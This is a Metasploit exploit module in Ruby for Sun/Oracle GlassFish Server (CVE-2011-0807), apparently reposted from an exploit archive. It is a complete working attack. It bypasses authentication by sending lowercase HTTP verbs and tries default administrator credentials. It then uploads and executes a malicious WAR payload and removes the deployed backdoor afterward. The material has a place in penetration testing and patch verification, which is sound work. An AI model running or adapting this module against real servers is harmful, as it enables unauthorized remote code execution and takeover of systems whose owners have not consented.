Lucene search

K
zdtMetasploit1337DAY-ID-16609
HistoryAug 05, 2011 - 12:00 a.m.

Sun/Oracle GlassFish Server Authenticated Code Execution

2011-08-0500:00:00
metasploit
0day.today
11

Exploit for jsp platform in category web applications

##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
            'Description'    => %q{
                    This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
                instance using a default credential, uploads, and executes commands via deploying
                a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
                this module will try to bypass authentication instead by sending lowercase HTTP verbs.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13485 $",
            'Author'         =>
                [
                    #Msf module for Glassfish 3.0
                    'juan vazquez',
                    #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
                    'Joshua Abraham <jabra[at]rapid7.com>',
                    #Rewrite for 3.0, 3.1 (Commercial or Open Source)
                    'sinn3r',
                ],
            'References'     =>
                [
                    ['CVE', '2011-0807'],
                ],
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                    [
                        'Java Universal',
                        {
                            'Arch'     => ARCH_JAVA,
                            'Platform' => 'java',
                        },
                    ],
                    #
                    # platform specific targets only
                    #
                    [
                        'Windows Universal',
                        {
                            'Arch'     => ARCH_X86,
                            'Platform' => 'win',
                        },
                    ],
                    #
                    # platform specific targets only
                    #
                    [
                        'Linux Universal',
                        {
                            'Arch'     => ARCH_X86,
                            'Platform' => 'linux',
                        },
                    ],
                ],
            'DisclosureDate' => "Aug 4 2011",
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    Opt::RPORT(4848),
                    OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
                    OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
                    OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
                    OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
                ], self.class)
    end
 
    #
    # Send GET or POST request, and return the response
    #
    def send_request(path, method, session='', data=nil, ctype=nil)
 
        headers = {}
        headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
        headers['Content-Type'] = ctype if ctype != nil
        headers['Content-Length'] = data.length if data != nil
 
        res = send_request_raw({
            'uri'     => path,
            'method'  => method,
            'data'    => data,
            'headers' => headers,
        }, 90)
 
        #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
        return res
    end
 
    #
    # Return target
    #
    def auto_target(session, res, version)
        print_status("Attempting to automatically select a target...")
 
        res = query_serverinfo(session,version)
        return nil if not res
        return nil if not res.body
 
        plat = detect_platform(res.body)
        arch = detect_arch(res.body)
         
        # No arch or platform found?
        return nil if (not arch or not plat)
 
        # see if we have a match
        targets.each do |t|
            return t if (t['Platform'] == plat) and (t['Arch'] == arch)
        end
 
        # no matching target found
        return nil
    end
 
    #
    # Return platform (win, linux, or osx)
    #
    def detect_platform(body)
        body.each_line do |ln|
            ln.chomp!
            case ln
            when /os\.name = (.*)/
                os = $1
                case os
                when /Windows/
                    return 'win'
                when /Linux/
                    return 'linux'
                when /Mac OS X/
                    return 'osx'
                end
            end
        end
 
        return 'java'
    end
 
    #
    # Return ARCH
    #
    def detect_arch(body)
        body.each_line do |ln|
            ln.chomp!
            case ln
            when /os\.arch = (.*)/
                ar = $1
                case ar
                when 'x86', 'i386', 'i686'
                    return ARCH_X86
                when 'x86_64', 'amd64'
                    return ARCH_X86
                end
            end
        end
    end
 
    #
    # Return server information
    #
    def query_serverinfo(session,version)
        res = ''
 
        if version == '2.x' or version == '9.x'
            path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
            res = send_request(path, @verbs['GET'], session)
        else
            path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
            res = send_request(path, @verbs['GET'], session)
 
            if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
                path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
                res = send_request(path, @verbs['GET'], session)
            end
        end
 
        if (not res) or (res.code != 200)
            print_error("Failed: Error requesting #{path}")
            return nil
        end
 
        return res
    end
 
    #
    # Return viewstate and entry before deleting a GlassFish application
    #
    def get_delete_info(session, version, app='')
        if version == '2.x' or version == '9.x'
            path = '/applications/webApplications.jsf'
            res = send_request(path, @verbs['GET'], session)
 
            if (not res) or (res.code != 200)
                print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
                return nil
            end
 
            input_id = "javax.faces.ViewState"
            p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
            viewstate = res.body.scan(p)[0][0]
 
            entry = nil
            p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
            results = res.body.scan(p)
 
            results.each do |hit|
                if hit[1] =~ /^#{app}/
                    entry = hit[0]
                    entry << "col0:select"
                end
            end
 
        else
            path = '/common/applications/applications.jsf?bare=true'
            res = send_request(path, @verbs['GET'], session)
 
            if (not res) or (res.code != 200)
                print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
                return nil
            end
 
            input_id = "javax.faces.ViewState"
            p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
            viewstate = res.body.scan(p)[0][0]
 
            entry = nil
            p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
            results = res.body.scan(p)
 
            results.each do |hit|
                if hit[1] =~ /^#{app}/
                    entry = hit[0]
                    entry << "col0:select"
                end
            end
        end
 
        if (viewstate.nil?)
            print_error("Failed: Error getting ViewState")
            return nil
        elsif (entry.nil?)
            print_error("Failed: Error getting the entry to delete")
        end
 
        return viewstate, entry
    end
 
    #
    # Send an "undeploy" request to Glassfish and remove our backdoor
    #
    def undeploy(viewstate, session, entry)
        #Send undeployment request
        data  = [
        "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
        "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
        "&#{Rex::Text.uri_encode(entry)}=true",
        "&propertyForm%3AhelpKey=ref-applications.html",
        "&propertyForm_hidden=propertyForm_hidden",
        "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
        "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
        "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
        "&javax.faces.partial.execute=%40all",
        "&javax.faces.partial.render=%40all",
        "&bare=true",
        "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
        "&javax.faces.partial.ajax=true"
        ].join()
 
        path  = '/common/applications/applications.jsf'
        ctype = 'application/x-www-form-urlencoded'
 
        res   = send_request(path, @verbs['POST'], session, data, ctype)
        if (not res)
            print_error("Undeployment failed on #{path} - No Response")
        else
            if res.code < 200 or res.code >= 300
                print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
            end
        end
    end
 
    #
    # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
    # banner (ex: Sun Java System Application Server 9.x)
    #
    def get_version(res)
        #Extract banner from response
        banner = res.headers['Server']
 
        #Default value for edition and glassfish version
        edition = 'Commercial'
        version = 'Unknown'
 
        #Set edition (Open Source or Commercial)
        p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
        edition = 'Open Source' if banner =~ p
 
        #Set version.  Some GlassFish servers return banner "GlassFish v3".
        if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
            version = $2
        elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
            version = $1
        elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
            version = '2.x'
        elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
            version = '9.x'
        end
 
        if version == nil or version == 'Unknown'
            print_status("Unsupported version: #{banner}")
        end
 
        return edition, version, banner
    end
 
    #
    # Return the formatted version of the POST data
    #
    def format_2_x_war(boundary,name,value=nil, war=nil)
        data = ''
 
        data << boundary
        data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
        data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
        data << war
        data << "\r\n"
 
        return data
    end
 
    #
    # Return the formatted version of the POST data
    #
    def format(boundary,name,value=nil, war=nil)
        data = ''
 
        if war
            data << boundary
            data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
            data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
            data << war
            data << "\r\n"
        else
            data << boundary
            data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
            data << "\r\n\r\n"
            data << "#{value}\r\n"
        end
 
        return data
    end
 
    #
    # Return POST data and data length, based on GlassFish edition
    #
    def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
        data = ''
 
        if version == '3.0'
 
            uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
            uploadparam_data = "form:sheet1:section1:prop1:fileupload"
 
            boundary = "--#{boundary}"
 
            data = [
                format(boundary, app_base, nil, war),
                format(boundary, uploadParam_name, uploadparam_data),
                format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
                format(boundary, "form:sheet1:section1:prop1:action", "client"),
                format(boundary, typefield, "war"),
                format(boundary, "form:war:psection:cxp:ctx", app_base),
                format(boundary, "form:war:psection:nameProp:appName", app_base),
                format(boundary, "form:war:psection:vsProp:vs", ""),
                format(boundary, status_checkbox, "true"),
                format(boundary, "form:war:psection:librariesProp:library", ""),
                format(boundary, "form:war:psection:descriptionProp:description", ""),
                format(boundary, "form_hidden", "form_hidden"),
                format(boundary, "javax.faces.ViewState", viewstate),
                "#{boundary}--"
            ].join()
        elsif version == '2.x' or version == '9.x'
 
            uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
            uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
 
            focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
            focusElementId_data = 'form:title:topButtons:uploadButton'
 
            boundary = "-----------------------------#{boundary}"
 
            data = [
                format_2_x_war(boundary, app_base, nil, war),
                format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
                format(boundary, "uploadRdBtn", "client"),
                format(boundary, uploadParam_name, uploadParam_data),
                format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
                format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
                format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
                format(boundary, "form:title:ps:psec:vsp:vs", ""),
                format(boundary, status_checkbox, "true"),
                format(boundary, "form:title:ps:psec:librariesProp:library", ""),
                format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
                format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
                format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
                format(boundary, "form:helpKey", "uploaddev.html"),
                format(boundary, "form_hidden", "form_hidden"),
                format(boundary, "javax.faces.ViewState", viewstate),
                format(boundary, focusElementId_name, focusElementId_data),
                "#{boundary}--"
            ].join()
        else
 
            boundary = "-----------------------------#{boundary}"
 
            #Setup dynamic arguments
            num1 = start.to_i
            num2 = num1 + 14
            num3 = num2 + 2
            num4 = num3 + 2
            num5 = num4 + 2
            num6 = num5 + 2
            num7 = num6 + 1
 
            id0 = num4
            id1 = num4 + 1
            id2 = num4 + 2
            id3 = num4 + 3
            id4 = num4 + 4
            id5 = num4 + 5
            id6 = num4 + 6
            id7 = num4 + 7
            id8 = num4 + 8
            id9 = num4 + 9
 
            uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
            uploadParam_value = "form:sheet1:section1:prop1:fileupload"
 
            focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
            focusElementId_data = "form:title2:bottomButtons:uploadButton"
 
            data = [
                format(boundary,"uploadRdBtn","client"),
                ## web service
                format(boundary, app_base, nil, war),
                ## sheet1
                format(boundary, uploadParam_name, uploadParam_value),
                format(boundary,"form:sheet1:section1:prop1:extension",".war"),
                format(boundary,"form:sheet1:section1:prop1:action","client"),
                format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
                format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
                format(boundary,"form:appClient:psection:descriptionProp:description"),
                ## war
                format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
                format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
                format(boundary,"form:war:psection:vsProp:vs"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
                format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
                format(boundary,"form:war:psection:librariesProp:library"),
                format(boundary,"form:war:psection:descriptionProp:description"),
                format(boundary,"form_hidden","form_hidden"),
                format(boundary,"javax.faces.ViewState","#{viewstate}"),
                format(boundary, focusElementId_name, focusElementId_data)
            ].join()
 
            item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
            item_list_data = "|server|com.sun.webui.jsf.separator|"
 
            item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
            item_value_data = "server"
 
            data << format(boundary, item_list_name, item_list_data)
            data << format(boundary, item_value_name, item_value_data)
            data << "#{boundary}--"
            data << "\r\n\r\n"
 
        end
 
        return data
    end
 
    #
    # Upload our payload, and execute it.  This function will also try to automatically
    # clean up after itself.
    #
    def upload_exec(session, app_base, jsp_name, target, war, edition, version)
        if version == '2.x' or version == '9.x'
            path = "/applications/upload.jsf?appType=webApp"
            res = send_request(path, @verbs['GET'], session)
 
            #Obtain some properties
            begin
                p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
                p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
                viewstate       = res.body.scan(p1)[0][0]
                status_checkbox = res.body.scan(p2)[0][0]
                boundary        = rand_text_alphanumeric(28)
            rescue
                print_error("Unable to gather required data for file upload")
                return
            end
        else
            path = "/common/applications/uploadFrame.jsf"
            res = send_request(path, @verbs['GET'], session)
 
            #Obtain some properties
            begin
                #start is only for dynamic arguments in POST data
                res.body =~ /propertySheetSection(\d{3})/
                start = $1
                p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
                p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
                p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
 
                rnd_text = rand_text_alphanumeric(29)
 
                viewstate       = res.body.scan(p1)[0][0]
                typefield       = res.body.scan(p2)[0][0]
                status_checkbox = res.body.scan(p3)[0][0]
                boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
            rescue
                print_error("Unable to gather required data for file upload")
                return
            end
        end
 
        #Get upload data
        if version == '3.0'
            ctype = "multipart/form-data; boundary=#{boundary}"
        elsif version == '2.x' or version == '9.x'
            ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
            typefield = ''
            start = ''
        else
            ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
        end
 
        post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)
 
        #Upload our payload
        if version == '2.x' or version == '9.x'
            path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
        else
            path  = '/common/applications/uploadFrame.jsf?'
            path << 'form:title:topButtons:uploadButton=Processing...'
            path << '&bare=false'
        end
        res  = send_request(path, @verbs['POST'], session, post_data, ctype)
 
        #Print upload result
        if res and res.code == 302
            print_status("Successfully uploaded")
        else
            print_error("Error uploading #{res.code}")
            return
        end
 
        #Execute our payload using the application interface (no need to use auth bypass technique)
        jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
        nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
            {
                'Msf'        => framework,
                'MsfExploit' => self,
            }
        )
 
        print_status("Executing #{jsp_path}...")
        req = nclient.request_raw({
            'uri'     => jsp_path,
            'method'  => 'GET',
        })
 
        if (req)
            res = nclient.send_recv(req, 90)
        else
            print_status("Error: #{rhost} did not respond on #{app_rport}.")
        end
 
        #Sleep for a bit before cleanup
        select(nil, nil, nil, 5)
 
        #Start undeploying
        print_status("Getting information to undeploy...")
        viewstate, entry = get_delete_info(session, version, app_base)
        if (not viewstate)
            raise RuntimeError, "Unable to get viewstate"
        elsif (not entry)
            raise RuntimeError, "Unable to get entry"
        end
 
        print_status("Undeploying #{app_base}...")
        undeploy(viewstate, session, entry)
 
        print_status("Undeployment complete.")
    end
 
    #
    # Try to login to Glassfish with a credential, and return the response
    #
    def try_login(user, pass)
        data  = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
        data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
        data << "loginButton=Login"
 
        path = '/j_security_check'
        res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')
 
        return res
    end
 
    def log_success(user,pass)
        print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
        report_auth_info(
            :host   => rhost,
            :port   => rport,
            :sname  => 'http',
            :user   => user,
            :pass   => pass,
            :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
            :active => true
        )
    end
 
    def try_default_glassfish_login(version)
        success = false
        session = ''
        res = ''
        if version == '2.x' or version == '9.x'
            user = 'admin'
            pass = 'adminadmin'
 
            print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
            res = try_login(user,pass)
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/applications/upload.jsf', 'GET', session)
 
                p = /<title>Deploy Enterprise Applications\/Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
 
        else
            user = 'admin'
            pass = ''
 
            print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
            res = try_login(user,pass)
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
 
                p = /<title>Deploy Applications or Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
        end
 
        if success == true
            log_success(user,pass)
        else
            msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
            print_error(msg)
        end
 
        return success, res, session
    end
 
    def try_nondefault_glassfish_login(version,user,pass)
 
        print_status("Trying credential #{user}:'#{pass}'....")
        success = false
        session = ''
 
        res = try_login(user, pass)
        if version == '2.x' or version == '9.x'
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/applications/upload.jsf', 'GET', session)
 
                p = /<title>Deploy Enterprise Applications\/Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
        else
            if res and res.code == 302
                session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
                res = send_request('/common/index.jsf', 'GET', session)
 
                p = /<title>Deploy Applications or Modules/
                if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                    success = true
                end
            end
        end
 
        if success == true
            log_success(user,pass)
        else
            msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
            print_error(msg)
        end
 
        return success, res, session
    end
 
 
    def try_glassfish_auth_bypass(version)
        print_status("Trying GlassFish authentication bypass..")
        success = false
 
        if version == '2.x' or version == '9.x'
            res = send_request('/applications/upload.jsf', 'get')
            p = /<title>Deploy Enterprise Applications\/Modules/
            if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                success = true
            end
        else
            # 3.0
            res = send_request('/common/applications/uploadFrame.jsf', 'get')
            p = /<title>Deploy Applications or Modules/
            if (res and res.code.to_i == 200 and res.body.match(p) != nil)
                success = true
            end
        end
 
        if success == true
            print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
            report_auth_info(
                :host   => rhost,
                :port   => rport,
                :sname  => 'http',
                :user   => '',
                :pass   => '',
                :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
                :active => true
            )
        else
            print_error("#{target_host()} - GlassFish - Failed authentication bypass")
        end
 
        return success
    end
 
    def target_host
        path        = datastore['PATH']
        target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
    end
 
    def exploit
        user        = datastore['USERNAME']
        pass        = datastore['PASSWORD']
        path        = datastore['PATH']
        target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
        success     = false
        session     = ''
        edition     = ''
        version     = ''
 
        #Invoke index to gather some info
        res = send_request('/common/index.jsf', 'GET')
 
        if res.code == 302
            res = send_request('/login.jsf', 'GET')
        end
 
        #Get GlassFish version
        edition, version, banner = get_version(res)
        print_status("Glassfish edition: #{banner}")
 
        #Get session
        res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
        session = $1
 
        #Set HTTP verbs.  lower-case is used to bypass auth on v3.0
        @verbs = {
            'GET'  => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
            'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
        }
         
        #auth bypass
        if version == '3.0' or version == '2.x' or version == '9.x'
            success = try_glassfish_auth_bypass(version)
        end
 
        #BUG caused us to skip default cred checks on sun applicaiton server 9.x
        if success == false and version != '9.x'
            #default credentials
            success,res,session_login = try_default_glassfish_login(version)
            if success == false
                if (
                    ( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )  or
                    ( (version =~ /^3\./) and (user != 'admin' and pass != '') )
                )
                    #non-default login
                    success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
                end
            end
        end
 
        #Start attacking
        if success
            session = session_login if (session_login =~ /\w+/)
            #Set target
            mytarget = target
            mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
            raise RunTimeError, "Unable to automatically select a target" if (not mytarget)
 
            #Generate payload
            p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
 
            jsp_name = rand_text_alphanumeric(4+rand(32-4))
            app_base = rand_text_alphanumeric(4+rand(32-4))
 
            war = p.encoded_war({
                :app_name    => app_base,
                :jsp_name    => jsp_name,
                :arch        => mytarget.arch,
                :platform    => mytarget.platform
            }).to_s
 
            #Upload, execute, cleanup, winning
            print_status("Uploading payload...")
            res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
        else
            print_error("#{target_host()} - GlassFish - Failed to authenticate login")
        end
 
    end
end



#  0day.today [2018-01-03]  #